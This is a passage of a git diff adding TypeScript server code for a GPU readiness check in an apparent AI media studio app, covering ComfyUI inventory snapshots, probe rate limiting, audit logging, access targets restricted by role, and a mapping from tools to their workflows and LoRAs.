+ return { report: { indexHash: idx.hash, checkedAt: inv.checkedAt, summary, studios, warnings }, badges };
+}
+
+/** The views for a snapshot, cached on it. */
+export function viewsOf(t: ServerTarget, snap: Snapshot): Views {
+ const idx = loadIndex();
+ const cached = snap.views as { indexHash: string; data: Views } | undefined;
+ if (cached && cached.indexHash === idx.hash) return cached.data;
+ const data = buildViews(snap.inventory, idx, contextFor(t));
+ saveViews(snap, data);
+ return data;
+}
+
+/** GET /api/gpu/readiness: the stored check's board (never probes). */
+export interface ReadinessView {
+ connected: boolean;
+ /** Whose ComfyUI: the studio's own, or the account's. */
+ target?: "install" | "account";
+ reason?: "guest" | "no-gpu" | "token" | "refused" | "off";
+ checkedAt?: number | null;
+ stale?: boolean;
+ /** Seconds until a new check may start. */
+ wait?: number;
+ problem?: GpuProblem;
+ problemText?: string;
+ problemDetail?: string;
+ report?: ReadinessReport;
+}
+
+export function readinessView(t: ServerTarget): ReadinessView {
+ const snap = readSnapshot(t);
+ const base: ReadinessView = { connected: true, target: t.kind, wait: checkWait(t) };
+ if (!snap) return { ...base, checkedAt: null };
+ const inv = snap.inventory;
+ if (!inv.reachable) {
+ return { ...base, checkedAt: snap.checkedAt, stale: snap.stale, problem: inv.problem ?? "unreachable", problemText: problemText(inv.problem ?? "unreachable"), ...(inv.problemDetail && { problemDetail: inv.problemDetail }) };
+ }
+ return { ...base, checkedAt: snap.checkedAt, stale: snap.stale, report: viewsOf(t, snap).report };
+}
+
+export function badgesView(t: ServerTarget): BadgeMap {
+ const snap = readSnapshot(t);
+ if (!snap || !snap.inventory.reachable) return { connected: true, ...(snap && { checkedAt: snap.checkedAt }), models: {}, presets: {} };
+ // Badges count as fresh for 10 minutes; past that they still show (the board offers "Check again").
+ return viewsOf(t, snap).badges;
+}
+
+const sha256 = (s: string) => crypto.createHash("sha256").update(s).digest("hex");
+
+/**
+ * A tool's fix plan from the snapshot. When the snapshot is more than 60 s old and says something is missing,
+ * the plan's own classes and folders are read again first (sharing the target's probe and its 10 s limit).
+ */
+export async function planFor(t: ServerTarget, ref: string, actor: string): Promise<FixPlan | null> {
+ const tool = toolFor(ref);
+ if (!tool) return null;
+ const idx = loadIndex();
+ const ctx = contextFor(t);
+ let snap = readSnapshot(t);
+ if (!snap) return null;
+ let r = readinessOf(tool, snap.inventory, idx, ctx);
+ if (snap.inventory.reachable && r.needs.length && Date.now() - snap.checkedAt > 60_000 && checkWait(t) === 0) {
+ const targets = needTargets(r.needs, idx);
+ await probe(t, { actor, ...targets, loraNames: tool.loras.map((l) => l.file) }).catch(() => null);
+ snap = readSnapshot(t) ?? snap;
+ r = readinessOf(tool, snap.inventory, idx, ctx);
+ }
+ const fits = fitsFor(tool, t, snap.inventory, idx, ctx);
+ const gpu = snap.inventory.devices[0] ? deviceLabel(snap.inventory.devices[0].name) : undefined;
+ return fixPlan(r, snap.inventory, idx, { hash: sha256, urlHash: urlHash(t), account: t.kind === "account", loras: tool.loras, fits, gpu: gpu && vramGb(snap.inventory.devices[0].vramTotal) ? gpu : undefined });
+}
+
+/** Other tools of the same studio that fit this GPU (for the "needs a bigger GPU" sheet). */
+function fitsFor(tool: Tool, t: ServerTarget, inv: GpuInventory, idx: RequirementIndex, ctx: ReadinessContext): { ref: ToolRef; name: string; state: "ready" | "almost" }[] {
+ const op = /#(.+)$/.exec(tool.ref)?.[1];
+ const row = STUDIO_ROWS.find((s) => s.config && (s.config.defaultModels.open === tool.ref.replace(/^model:|#.*$/g, "") || (op && s.config.ops.includes(op as never) && s.config.kind === tool.kind)));
+ if (!row) return [];
+ return studioOthers(row)
+ .filter((o) => o.ref !== tool.ref)
+ .map((o) => ({ ref: o.ref, name: o.name, state: readinessOf(o, inv, idx, ctx).state }))
+ .filter((o): o is { ref: ToolRef; name: string; state: "ready" | "almost" } => o.state === "ready" || o.state === "almost")
+ .sort((a, b) => rankOf(b.state) - rankOf(a.state))
+ .slice(0, 3);
+}
diff --git a/src/server/gpu/snapshots.ts b/src/server/gpu/snapshots.ts
new file mode 100644
index 00000000..3904753c
--- /dev/null
+++ b/src/server/gpu/snapshots.ts
@@ -0,0 +1,224 @@
+import "server-only";
+import { db } from "../db";
+import { gatherInventory, type GatherOptions } from "@/lib/gpu/gather";
+import type { CheckLine, GpuInventory } from "@/lib/gpu/types";
+import { loadIndex } from "./index-file";
+import { targetHost, transportFor, urlHash, type ServerTarget, type TransportOptions } from "./target";
+
+/**
+ * Snapshots of what a target's ComfyUI had (SPEC §5.2, §15), in memory and in SQLite, per target and per way it
+ * was read (review 18). One probe per target at a time (a second caller joins it and gets its lines), at most
+ * four probes at once across the server, and a full check at most every 10 s per target (review 6d).
+ */
+
+export interface Snapshot {
+ targetKey: string;
+ via: "server" | "browser";
+ urlHash: string;
+ checkedAt: number;
+ indexHash: string;
+ inventory: GpuInventory;
+ /** The views built from it (cached until the index changes). */
+ views?: { indexHash: string; data: unknown };
+ stale: boolean;
+}
+
+interface Row {
+ target_key: string;
+ via: string;
+ url_hash: string;
+ checked_at: number;
+ index_hash: string;
+ inventory_json: string;
+ report_json: string | null;
+ stale: number;
+}
+
+declare global {
+ var __fuobeGpuSnaps: Map<string, Snapshot> | undefined;
+ var __fuobeGpuProbes: Map<string, { promise: Promise<GpuInventory>; lines: CheckLine[]; listeners: Set<(l: CheckLine) => void>; full: boolean }> | undefined;
+ var __fuobeGpuLast: Map<string, number> | undefined;
+ var __fuobeGpuSlots: { active: number; queue: (() => void)[] } | undefined;
+}
+
+const mem = () => (globalThis.__fuobeGpuSnaps ??= new Map());
+const probes = () => (globalThis.__fuobeGpuProbes ??= new Map());
+const last = () => (globalThis.__fuobeGpuLast ??= new Map());
+const slots = () => (globalThis.__fuobeGpuSlots ??= { active: 0, queue: [] });
+
+export const MAX_PROBES = 4;
+export const CHECK_INTERVAL_MS = 10_000;
+
+const memKey = (key: string, via: string) => `${key}|${via}`;
+
+export function readSnapshot(t: ServerTarget): Snapshot | null {
+ const hash = urlHash(t);
+ const k = memKey(t.key, "server");
+ const hit = mem().get(k);
+ if (hit) return hit.urlHash === hash ? hit : null;
+ const row = db().prepare("SELECT * FROM gpu_snapshots WHERE target_key = ? AND via = 'server'").get(t.key) as Row | undefined;
+ if (!row || row.url_hash !== hash) return null;
+ let inventory: GpuInventory;
+ try {
+ inventory = JSON.parse(row.inventory_json) as GpuInventory;
+ } catch {
+ return null;
+ }
+ let views: Snapshot["views"];
+ try {
+ views = row.report_json ? (JSON.parse(row.report_json) as Snapshot["views"]) : undefined;
+ } catch {}
+ const snap: Snapshot = { targetKey: row.target_key, via: "server", urlHash: row.url_hash, checkedAt: row.checked_at, indexHash: row.index_hash, inventory, views, stale: !!row.stale };
+ mem().set(k, snap);
+ return snap;
+}
+
+export function writeSnapshot(t: ServerTarget, inventory: GpuInventory): Snapshot {
+ const snap: Snapshot = { targetKey: t.key, via: "server", urlHash: urlHash(t), checkedAt: inventory.checkedAt, indexHash: loadIndex().hash, inventory, stale: false };
+ db()
+ .prepare(
+ `INSERT INTO gpu_snapshots (target_key, via, url_hash, checked_at, index_hash, inventory_json, report_json, stale)
+ VALUES (@target_key, 'server', @url_hash, @checked_at, @index_hash, @inventory_json, NULL, 0)
+ ON CONFLICT(target_key, via) DO UPDATE SET url_hash = excluded.url_hash, checked_at = excluded.checked_at, index_hash = excluded.index_hash,
+ inventory_json = excluded.inventory_json, report_json = NULL, stale = 0`,
+ )
+ .run({ target_key: t.key, url_hash: snap.urlHash, checked_at: snap.checkedAt, index_hash: snap.indexHash, inventory_json: JSON.stringify(inventory) });
+ mem().set(memKey(t.key, "server"), snap);
+ return snap;
+}
+
+/** Keep the views built from a snapshot (rebuilt when the index changes, without a new probe). */
+export function saveViews(snap: Snapshot, data: unknown): void {
+ snap.views = { indexHash: loadIndex().hash, data };
+ db().prepare("UPDATE gpu_snapshots SET report_json = ? WHERE target_key = ? AND via = ?").run(JSON.stringify(snap.views), snap.targetKey, snap.via);
+}
+
+/** A failed run or a finished fix: the next look re-checks. */
+export function markStale(targetKey: string): void {
+ for (const [k, s] of mem()) if (k.startsWith(`${targetKey}|`)) s.stale = true;
+ db().prepare("UPDATE gpu_snapshots SET stale = 1 WHERE target_key = ?").run(targetKey);
+}
+
+/** The account's GPU changed or the account went (A4): its snapshots go. */
+export function dropSnapshots(targetKey: string): void {
+ for (const k of [...mem().keys()]) if (k.startsWith(`${targetKey}|`)) mem().delete(k);
+ db().prepare("DELETE FROM gpu_snapshots WHERE target_key = ?").run(targetKey);
+}
+
+/** Wait for one of the server's probe slots. */
+async function slot<T>(job: () => Promise<T>): Promise<T> {
+ const s = slots();
+ if (s.active >= MAX_PROBES) await new Promise<void>((r) => s.queue.push(r));
+ s.active++;
+ try {
+ return await job();
+ } finally {
+ s.active--;
+ s.queue.shift()?.();
+ }
+}
+
+/** Seconds until this target may be checked again (0: now). */
+export function checkWait(t: ServerTarget, now = Date.now()): number {
+ const at = last().get(t.key) ?? 0;
+ return Math.max(0, Math.ceil((at + CHECK_INTERVAL_MS - now) / 1000));
+}
+
+export function probeRunning(t: ServerTarget): boolean {
+ return probes().has(t.key);
+}
+
+export function audit(row: { actor: string; targetKey: string; host: string; action: string; result: string; item?: string; detail?: string }): void {
+ const d = db();
+ d.prepare("INSERT INTO gpu_audit (at, actor, target_key, host, action, item, result, detail) VALUES (?, ?, ?, ?, ?, ?, ?, ?)").run(
+ Date.now(),
+ row.actor,
+ row.targetKey,
+ row.host,
+ row.action,
+ row.item ?? null,
+ row.result,
+ row.detail ?? null,
+ );
+ // 90 days, and at most 500 rows per target.
+ if (Math.random() < 0.05) {
+ d.prepare("DELETE FROM gpu_audit WHERE at < ?").run(Date.now() - 90 * 86_400_000);
+ d.prepare("DELETE FROM gpu_audit WHERE target_key = ? AND id NOT IN (SELECT id FROM gpu_audit WHERE target_key = ? ORDER BY at DESC LIMIT 500)").run(row.targetKey, row.targetKey);
+ }
+}
+
+export interface ProbeOptions extends TransportOptions {
+ actor: string;
+ onLine?: (l: CheckLine) => void;
+ /** A targeted re-check (the gate, a plan): only these. */
+ classes?: string[];
+ folders?: string[];
+ loraNames?: string[];
+}
+
+/**
+ * Probe a target and store the result. A full check joins one that is already running for the target (and
+ * gets the lines it already sent). A targeted re-check merges what it read into the stored snapshot.
+ */
+export async function probe(t: ServerTarget, o: ProbeOptions): Promise<GpuInventory> {
+ const running = probes().get(t.key);
+ const targeted = !!(o.classes || o.folders);
+ if (running && (running.full || targeted)) {
+ if (o.onLine) {
+ running.lines.forEach(o.onLine);
+ running.listeners.add(o.onLine);
+ }
+ try {
+ return await running.promise;
+ } finally {
+ if (o.onLine) running.listeners.delete(o.onLine);
+ }
+ }
+ const entry = { promise: null as unknown as Promise<GpuInventory>, lines: [] as CheckLine[], listeners: new Set<(l: CheckLine) => void>(), full: !targeted };
+ if (o.onLine) entry.listeners.add(o.onLine);
+ const opts: GatherOptions = {
+ where: "link",
+ onLine: (l) => {
+ entry.lines.push(l);
+ for (const fn of entry.listeners) fn(l);
+ },
+ ...(targeted && { classes: o.classes ?? [], folders: o.folders ?? [], loraNames: o.loraNames }),
+ ...(!targeted && o.loraNames && { loraNames: o.loraNames }),
+ };
+ entry.promise = slot(() => gatherInventory(transportFor(t, o), loadIndex(), opts));
+ probes().set(t.key, entry);
+ last().set(t.key, Date.now());
+ try {
+ const inv = await entry.promise;
+ const base = readSnapshot(t);
+ const stored = targeted ? (base && inv.reachable ? mergeTargeted(base.inventory, inv, o) : null) : inv;
+ if (stored) writeSnapshot(t, stored);
+ audit({ actor: o.actor, targetKey: t.key, host: targetHost(t), action: targeted ? "recheck" : "check", result: inv.reachable ? "ok" : (inv.problem ?? "failed"), detail: `${inv.tookMs} ms` });
+ return targeted && stored ? stored : inv;
+ } finally {
+ probes().delete(t.key);
+ }
+}
+
+/** A targeted read folded into the stored inventory: the classes and folders it read replace what was stored. */
+export function mergeTargeted(base: GpuInventory, fresh: GpuInventory, o: { classes?: string[]; folders?: string[] }): GpuInventory {
+ const asked = new Set(o.classes ?? []);
+ const keep = (list: string[]) => list.filter((c) => !asked.has(c));
+ const folders = new Set(o.folders ?? []);
+ const models = { ...base.models };
+ for (const f of folders) if (fresh.models[f]) models[f] = fresh.models[f];
+ return {
+ ...base,
+ checkedAt: fresh.checkedAt,
+ nodes: {
+ ...base.nodes,
+ have: [...new Set([...keep(base.nodes.have), ...fresh.nodes.have])].sort(),
+ missing: [...new Set([...keep(base.nodes.missing), ...fresh.nodes.missing])].sort(),
+ readAt: fresh.nodes.readAt,
+ },
+ combos: { ...base.combos, ...fresh.combos },
+ models,
+ loras: folders.has("loras") ? { ...fresh.loras } : base.loras,
+ errors: fresh.errors.length ? fresh.errors : base.errors,
+ };
+}
diff --git a/src/server/gpu/target.ts b/src/server/gpu/target.ts
new file mode 100644
index 00000000..eca8d624
--- /dev/null
+++ b/src/server/gpu/target.ts
@@ -0,0 +1,103 @@
+import "server-only";
+import crypto from "node:crypto";
+import { accountGpu, requestViewer, validToken, type AccountGpu } from "../auth";
+import { fetchPublic, isPrivateAddress, type RemoteFetchOptions } from "../remote-fetch";
+import { comfyRequest } from "../providers/comfyui";
+import { getSetting } from "../settings";
+import { fetchTransport, type ComfyTransport } from "@/lib/gpu/transport";
+import { isInstallHost } from "./hosts";
+
+/**
+ * Whose ComfyUI the pre-flight reads (SPEC §3). The owner's session reads the install's own ComfyUI; an
+ * account reads only the ComfyUI it connected ("Your GPU"), never the install's (R4); a guest reads nothing.
+ * An API token may read the install's, but never starts a fix (R1).
+ */
+export type GpuTarget =
+ | { kind: "install"; key: "install"; via: "server" }
+ | { kind: "account"; key: `acct:${string}`; accountId: string; via: "server"; gpu: AccountGpu }
+ | { kind: "none"; reason: "guest" | "no-gpu" | "token" | "refused" };
+
+export type ServerTarget = Extract<GpuTarget, { via: "server" }>;
+
+export function gpuTargetFor(request: Request, purpose: "read" | "fix"): GpuTarget {
+ const viewer = requestViewer(request);
+ if (viewer.kind === "guest") return { kind: "none", reason: "guest" };
+ if (viewer.kind === "owner") {
+ if (purpose === "fix" && validToken(request.headers.get("authorization"))) return { kind: "none", reason: "token" };
+ return { kind: "install", key: "install", via: "server" };
+ }
+ const gpu = accountGpu(viewer.account.id);
+ if (!gpu) return { kind: "none", reason: "no-gpu" };
+ // The install's own ComfyUI under any scheme, port or path (its address may have changed since the link was saved).
+ if (isInstallHost(gpu.url)) return { kind: "none", reason: "refused" };
+ return { kind: "account", key: `acct:${viewer.account.id}`, accountId: viewer.account.id, via: "server", gpu };
+}
+
+/** The address a target reads, as hashed: a new address starts with an empty snapshot. */
+export function targetUrl(t: ServerTarget): string {
+ return (t.kind === "install" ? getSetting("comfyUrl") : t.gpu.url).trim().replace(/\/+$/, "");
+}
+
+export function urlHash(t: ServerTarget): string {
+ return crypto.createHash("sha256").update(`${targetUrl(t).toLowerCase()}|server`).digest("hex");
+}
+
+/** The host a target reads (audit rows keep the host, never a token). */
+export function targetHost(t: ServerTarget): string {
+ try {
+ return new URL(targetUrl(t)).host;
+ } catch {
+ return "";
+ }
+}
+
+/**
+ * Does the studio's own ComfyUI answer anyone on the internet (review 2b)? An anonymous GET /system_stats from
+ * here, through fetchPublic with private addresses always refused: a ComfyUI on this machine or its network
+ * never counts, whatever FUOBE_ALLOW_PRIVATE_URLS says.
+ */
+export async function installExposed(): Promise<boolean> {
+ const url = getSetting("comfyUrl").trim().replace(/\/+$/, "");
+ if (!/^https?:\/\//i.test(url)) return false;
+ const ctrl = new AbortController();
+ const timer = setTimeout(() => ctrl.abort(), 5000);
+ try {
+ const res = await fetchPublic(`${url}/system_stats`, { signal: ctrl.signal, headers: { "ngrok-skip-browser-warning": "1" } }, { blocked: isPrivateAddress, timeoutMs: 5000 });
+ if (res.status !== 200) {
+ await res.body?.cancel().catch(() => {});
+ return false;
+ }
+ const text = await res.text();
+ return text.length < 1_000_000 && /"system"\s*:/.test(text);
+ } catch {
+ return false;
+ } finally {
+ clearTimeout(timer);
+ }
+}
+
+export interface TransportOptions {
+ /** Tests: resolve and block addresses without DNS (fetchPublic's own hooks; no env switch, review 22). */
+ resolve?: RemoteFetchOptions["resolve"];
+ blocked?: RemoteFetchOptions["blocked"];
+}
+
+declare global {
+ /** Tests only: fetchPublic's resolve / blocked hooks for every pre-flight transport (never set by the app). */
+ var __fuobeGpuTestTransport: TransportOptions | undefined;
+}
+
+/**
+ * The transport for a server-side target. An account's ComfyUI is reached only through fetchPublic, which
+ * connects to public addresses only (checked on the address each connection uses), with the account's own
+ * token, and ngrok's warning page skipped. The install's goes through the provider's own request (its address
+ * and token). Both: a total deadline and a byte cap per request, no redirects followed.
+ */
+export function transportFor(t: ServerTarget, given: TransportOptions = {}): ComfyTransport {
+ const o = { ...globalThis.__fuobeGpuTestTransport, ...given };
+ if (t.kind === "install") {
+ return fetchTransport("server", "", (path, init) => comfyRequest(path, init), { decodes: true, headers: { "ngrok-skip-browser-warning": "1" } });
+ }
+ const headers: Record<string, string> = { "ngrok-skip-browser-warning": "1", ...(t.gpu.token && { Authorization: `Bearer ${t.gpu.token}` }) };
+ return fetchTransport("server", t.gpu.url, (url, init) => fetchPublic(url, init, { resolve: o.resolve, blocked: o.blocked, timeoutMs: 30_000 }), { headers });
+}
diff --git a/src/server/gpu/tools.ts b/src/server/gpu/tools.ts
new file mode 100644
index 00000000..a50fe51c
--- /dev/null
+++ b/src/server/gpu/tools.ts
@@ -0,0 +1,231 @@
+import "server-only";
+import { getModel, getPreset, MODELS, modelsFor, PRESETS } from "@/lib/catalog";
+import { graphLoras } from "@/lib/catalog/character-swap";
+import { dualEngine, onEngine, runsOn } from "@/lib/catalog/engines";
+import { libraryEntry, needsToken } from "@/lib/catalog/loras";
+import { STUDIO_WORKFLOWS } from "@/lib/catalog/swap-studio-plan";
+import type { LoraRef, ModelDef, Operation } from "@/lib/catalog/types";
+import type { LoraNeed } from "@/lib/gpu/readiness";
+import { basename } from "@/lib/gpu/requirements";
+import type { StudioGroup, ToolRef } from "@/lib/gpu/types";
+import * as S from "@/lib/studios";
+import type { StudioConfig } from "@/components/studio/studio-context";
+import { loadIndex } from "./index-file";
+
+/**
+ * From the tools people pick (a model's operation, a preset, a studio's open default) to the workflows and
+ * LoRAs they run (SPEC §4.4). Variants (a camera pose, EXR frames…) count only when a request asks for them:
+ * the gate resolves those per request (src/lib/comfy-variants.ts). Nothing here reads a key or a token: LoRA
+ * downloads are described by their public URL and page only (review item 5).
+ */
+
+export interface Tool {
+ ref: ToolRef;
+ name: string;
+ kind?: string;
+ workflows: string[];
+ loras: LoraNeed[];
+ /** The same tool on the cloud engine (an Original that runs on both). */
+ cloud?: { modelId: string };
+ /** Runs in the browser (no ComfyUI): always ready. */
+ local?: boolean;
+}
+
+/** A LoRA as the plan describes it: its file, public URL, page, size and how it downloads. */
+export function loraNeed(l: Pick<LoraRef, "file" | "url">): LoraNeed {
+ const e = libraryEntry(l);
+ const url = e?.url ?? l.url;
+ return {
+ file: basename(l.file),
+ ...(url && { url }),
+ ...(e?.sizeBytes && { sizeBytes: e.sizeBytes }),
+ ...(e?.sha256 && { sha256: e.sha256 }),
+ download: e?.download ?? (needsToken(url) ? "civitai-token" : "direct"),
+ ...(e?.page && { page: e.page }),
+ };
+}
+
+/** A route endpoint's workflows: "video-concat-{n}" is one per clip count. */
+function expand(endpoint: string): string[] {
+ const ids = Object.keys(loadIndex().workflows);
+ if (!endpoint.includes("{")) return ids.includes(endpoint) ? [endpoint] : [];
+ const re = new RegExp(`^${endpoint.replace(/[.*+?^$()|[\]\\]/g, "\\$&").replace(/\{[^}]+\}/g, "\\d+")}$`);
+ return ids.filter((id) => re.test(id));
+}
+
+/** The model as it runs on the open engine (an Original's GPU routes), or undefined when it has none. */
+function openModel(m: ModelDef | undefined): ModelDef | undefined {
+ if (!m) return undefined;
+ if (dualEngine(m)) return runsOn(m, "open") ? onEngine(m, "open") : undefined;
+ return m.engine === "open" ? m : undefined;
+}
+
+function modelOps(m: ModelDef): Operation[] {
+ return [...new Set(m.routes.filter((r) => r.provider === "comfyui" || r.provider === "local").map((r) => r.op))];
+}
+
+/** A model's operation on the open engine. */
+export function modelTool(modelId: string, op: string): Tool | null {
+ const full = getModel(modelId);
+ const m = openModel(full);
+ if (!m) return null;
+ const routes = m.routes.filter((r) => r.op === op && (r.provider === "comfyui" || r.provider === "local"));
+ if (!routes.length) return null;
+ const workflows = [...new Set(routes.filter((r) => r.provider === "comfyui").flatMap((r) => expand(r.endpoint)))];
+ const loras = (m.options.loras ?? []).map(loraNeed);
+ return {
+ ref: `model:${modelId}#${op}`,
+ name: m.name,
+ kind: m.kind,
+ workflows,
+ loras,
+ ...(full && dualEngine(full) && runsOn(full, "cloud") && { cloud: { modelId } }),
+ ...(!workflows.length && { local: true }),
+ };
+}
+
+/** A preset: its open route, its prestep's, and their LoRAs. */
+export function presetTool(presetId: string): Tool | null {
+ const p = getPreset(presetId);
+ if (!p?.open) return null;
+ const main = modelTool(p.open.modelId, p.open.op);
+ if (!main) return null;
+ const pre = p.prestep?.open ? modelTool(p.prestep.open.modelId, p.prestep.open.op) : null;
+ const loras = new Map<string, LoraNeed>();
+ for (const l of [...(p.open.loras ?? []), ...(p.prestep?.open.loras ?? [])]) loras.set(basename(l.file), loraNeed(l));
+ for (const l of [...main.loras, ...(pre?.loras ?? [])]) loras.set(l.file, l);
+ return {
+ ref: `preset:${p.id}`,
+ name: p.name,
+ kind: main.kind,
+ workflows: [...new Set([...main.workflows, ...(pre?.workflows ?? [])])],
+ loras: [...loras.values()],
+ ...(p.cloud && main.cloud && { cloud: { modelId: p.cloud.modelId } }),
+ ...(main.local && !pre && { local: true }),
+ };
+}
+
+export interface StudioRowDef {
+ href: string;
+ label: string;
+ group: StudioGroup;
+ config?: StudioConfig;
+ /** A studio with graphs of its own (Character swap). */
+ workflows?: string[];
+}
+
+/** The board's rows (src/lib/hubs.ts names the hub modes): each studio's open default. */
+export const STUDIO_ROWS: StudioRowDef[] = [
+ { href: "/image", label: "Image", group: "Images", config: S.IMAGE_STUDIO },
+ { href: "/edit", label: "Edit", group: "Images", config: S.EDIT_STUDIO },
+ { href: "/inpaint", label: "Inpaint", group: "Images", config: S.INPAINT_STUDIO },
+ { href: "/upscale", label: "Upscale", group: "Images", config: S.UPSCALE_STUDIO },
+ { href: "/video", label: "Video", group: "Video", config: S.VIDEO_STUDIO },
+ { href: "/motion-control", label: "Motion control", group: "Video", config: S.MOTION_CONTROL_STUDIO },
+ { href: "/video-edit", label: "Edit video", group: "Video", config: S.VIDEO_EDIT_STUDIO },
+ { href: "/extend", label: "Extend", group: "Video", config: S.EXTEND_STUDIO },
+ { href: "/reframe", label: "Reframe", group: "Video", config: S.REFRAME_STUDIO },
+ { href: "/lipsync", label: "Lipsync", group: "Video", config: S.LIPSYNC_STUDIO },
+ { href: "/character-swap", label: "Character swap", group: "Video", workflows: [STUDIO_WORKFLOWS.mask, STUDIO_WORKFLOWS.segment] },
+ { href: "/audio", label: "Voice", group: "Audio", config: S.AUDIO_STUDIO },
+ { href: "/audio/dialogue", label: "Dialogue", group: "Audio", config: S.DIALOGUE_STUDIO },
+ { href: "/audio/voice-change", label: "Voice change", group: "Audio", config: S.VOICE_CHANGE_STUDIO },
+ { href: "/audio/transcribe", label: "Transcribe", group: "Audio", config: S.TRANSCRIBE_STUDIO },
+ { href: "/audio/sfx", label: "Sound effects", group: "Audio", config: S.SFX_STUDIO },
+ { href: "/audio/music", label: "Music", group: "Audio", config: S.MUSIC_STUDIO },
+ { href: "/audio/video", label: "Sound for video", group: "Audio", config: S.FOLEY_STUDIO },
+ { href: "/upscale/video", label: "Upscale video", group: "Video tools", config: S.VIDEO_UPSCALE_STUDIO },
+ { href: "/upscale/fps", label: "FPS boost", group: "Video tools", config: S.FPS_BOOST_STUDIO },
+ { href: "/upscale/hdr", label: "SDR to HDR", group: "Video tools", config: S.SDR_TO_HDR_STUDIO },
+ { href: "/upscale/export", label: "Export", group: "Video tools", config: S.VIDEO_EXPORT_STUDIO },
+ { href: "/video-tools", label: "Remove background", group: "Video tools", config: S.VIDEO_MATTE_STUDIO },
+ { href: "/video-tools/relight", label: "Relight", group: "Video tools", config: S.VIDEO_RELIGHT_STUDIO },
+ { href: "/video-tools/depth", label: "Depth map", group: "Video tools", config: S.VIDEO_DEPTH_STUDIO },
+ { href: "/video-tools/join", label: "Join clips", group: "Video tools", config: S.JOIN_CLIPS_STUDIO },
+ { href: "/video-tools/colors", label: "Match colors", group: "Video tools", config: S.VIDEO_COLOR_MATCH_STUDIO },
+];
+
+/** A studio row's tool: its open default model on the studio's operations (or its own graphs). */
+export function studioTool(row: StudioRowDef): Tool | null {
+ if (row.workflows) {
+ const segment = row.workflows[row.workflows.length - 1];
+ return { ref: `studio:${row.href}`, name: row.label, kind: "video", workflows: row.workflows.filter((w) => !!loadIndex().workflows[w]), loras: graphLoras(segment, {}).map(loraNeed) };
+ }
+ const c = row.config;
+ const id = c?.defaultModels.open;
+ if (!c || !id) return null;
+ const m = openModel(getModel(id));
+ if (!m) return null;
+ const ops = modelOps(m).filter((op) => c.ops.includes(op));
+ const parts = (ops.length ? ops : modelOps(m)).map((op) => modelTool(id, op)).filter((t): t is Tool => !!t);
+ if (!parts.length) return null;
+ return {
+ ref: `studio:${row.href}`,
+ name: m.name,
+ kind: m.kind,
+ workflows: [...new Set(parts.flatMap((p) => p.workflows))],
+ loras: parts[0].loras,
+ ...(parts[0].cloud && { cloud: parts[0].cloud }),
+ ...(parts.every((p) => p.local) && { local: true }),
+ };
+}
+
+/** A studio's other open models (for "2 other tools fit your GPU"). */
+export function studioOthers(row: StudioRowDef): Tool[] {
+ const c = row.config;
+ if (!c) return [];
+ const ops = c.pickerOps ?? c.ops;
+ return modelsFor({ kind: c.kind, ops, engine: "open" })
+ .filter((m) => m.id !== c.defaultModels.open)
+ .flatMap((m) => {
+ const op = modelOps(openModel(m) ?? m).find((o) => ops.includes(o));
+ const t = op ? modelTool(m.id, op) : null;
+ return t ? [t] : [];
+ });
+}
+
+/** Every open model's operations (the model picker's and composer's chips). */
+export function openModelTools(): Tool[] {
+ const out: Tool[] = [];
+ for (const m of MODELS) {
+ const o = openModel(m);
+ if (!o) continue;
+ for (const op of modelOps(o)) {
+ const t = modelTool(m.id, op);
+ if (t) out.push(t);
+ }
+ }
+ return out;
+}
+
+/** Every preset with an open route (the gallery's chips). */
+export function presetTools(): Tool[] {
+ return PRESETS.flatMap((p) => {
+ const t = presetTool(p.id);
+ return t ? [t] : [];
+ });
+}
+
+let loraNamesCache: string[] | null = null;
+
+/** Every LoRA a preset or a recipe names (what a full check looks for in models/loras). */
+export function allLoraNames(): string[] {
+ loraNamesCache ??= [...new Set([...presetTools(), ...openModelTools()].flatMap((t) => t.loras.map((l) => l.file)))].sort();
+ return loraNamesCache;
+}
+
+/** A tool by reference (the plan route takes these from the client: only refs, never URLs or names, R2). */
+export function toolFor(ref: string): Tool | null {
+ const m = /^model:([^#]+)#(.+)$/.exec(ref);
+ if (m) return modelTool(m[1], m[2]);
+ const p = /^preset:(.+)$/.exec(ref);
+ if (p) return presetTool(p[1]);
+ const s = /^studio:(.+)$/.exec(ref);
+ if (s) {
+ const row = STUDIO_ROWS.find((r) => r.href === s[1]);
+ return row ? studioTool(row) : null;
+ }
+ const w = /^workflow:(.+)$/.exec(ref);
+ if (w && loadIndex().workflows[w[1]]) return { ref: `workflow:${w[1]}`, name: w[1], workflows: [w[1]], loras: [] };
+ return null;
+}
diff --git a/src/server/providers/comfyui.ts b/src/server/providers/comfyui.ts
index adb42e3b..7c25efbd 100644
--- a/src/server/providers/comfyui.ts
+++ b/src/server/providers/comfyui.ts
@@ -36,10 +36,13 @@ import {
type ManifestWorkflow,
} from "@/lib/comfy";
import { fpsPlan } from "@/lib/av/fps";
+import { resolveWorkflowId } from "@/lib/comfy-variants";
+import { fixFromPromptError } from "@/lib/gpu/fix-codes";
+import { loadIndex } from "../gpu/index-file";
import { crossfadeProblem, fadeCurveWav } from "@/lib/av/crossfade";
import { expandAudioJoinWorkflow, expandVideoJoinWorkflow } from "@/lib/av/joins";
import { expandTimelineWorkflow, readTimeline } from "@/lib/av/timeline";
-import { exportValues, exrWorkflow, framesPerPass, hdrColorSpace, upscaleShortSide, wholeClipProblem, wholeClipTool } from "@/lib/av/video-finish";
+import { exportValues, framesPerPass, hdrColorSpace, upscaleShortSide, wholeClipProblem, wholeClipTool } from "@/lib/av/video-finish";
import { guessKind } from "@/lib/catalog/payload";
import { loraByFile, needsToken } from "@/lib/catalog/loras";
import { CHARACTER_SWAP, packResolution, samCoords, swapPrompt, SWAP_LORAS, windowPlan } from "@/lib/catalog/character-swap";
@@ -170,6 +173,14 @@ async function comfyFetch(p: string, init: RequestInit = {}, worker: ComfyWorker
}
}
+/**
+ * A raw request to the ComfyUI in scope: the install's (its address and token), or an account's inside onOwnGpu.
+ * The GPU pre-flight's reads go through it (src/server/gpu/target.ts).
+ */
+export function comfyRequest(p: string, init: RequestInit = {}, worker: ComfyWorker = "main"): Promise<Response> {
+ return comfyFetch(p, init, worker);
+}
+
/**
* The isolated worker answered, but not with what was asked (an HTTP error, or a proxy's error page
* when the worker behind it is down): say it's that server and where its address is set, so it doesn't
@@ -559,18 +570,6 @@ export function mediaInfoFor(name: unknown): MediaInfo | undefined {
return typeof name === "string" ? globalThis.__fuobeComfyMedia?.get(name) : undefined;
}
-/**
- * Image-to-video graphs whose camera moves Wan 2.2 Fun Camera makes natively: a request with a pose (params.extra.cameraMotion)
- * runs there (Fuobe DoP on Wan 2.2 14B, Fuobe Cinema on its Lightning graph).
- */
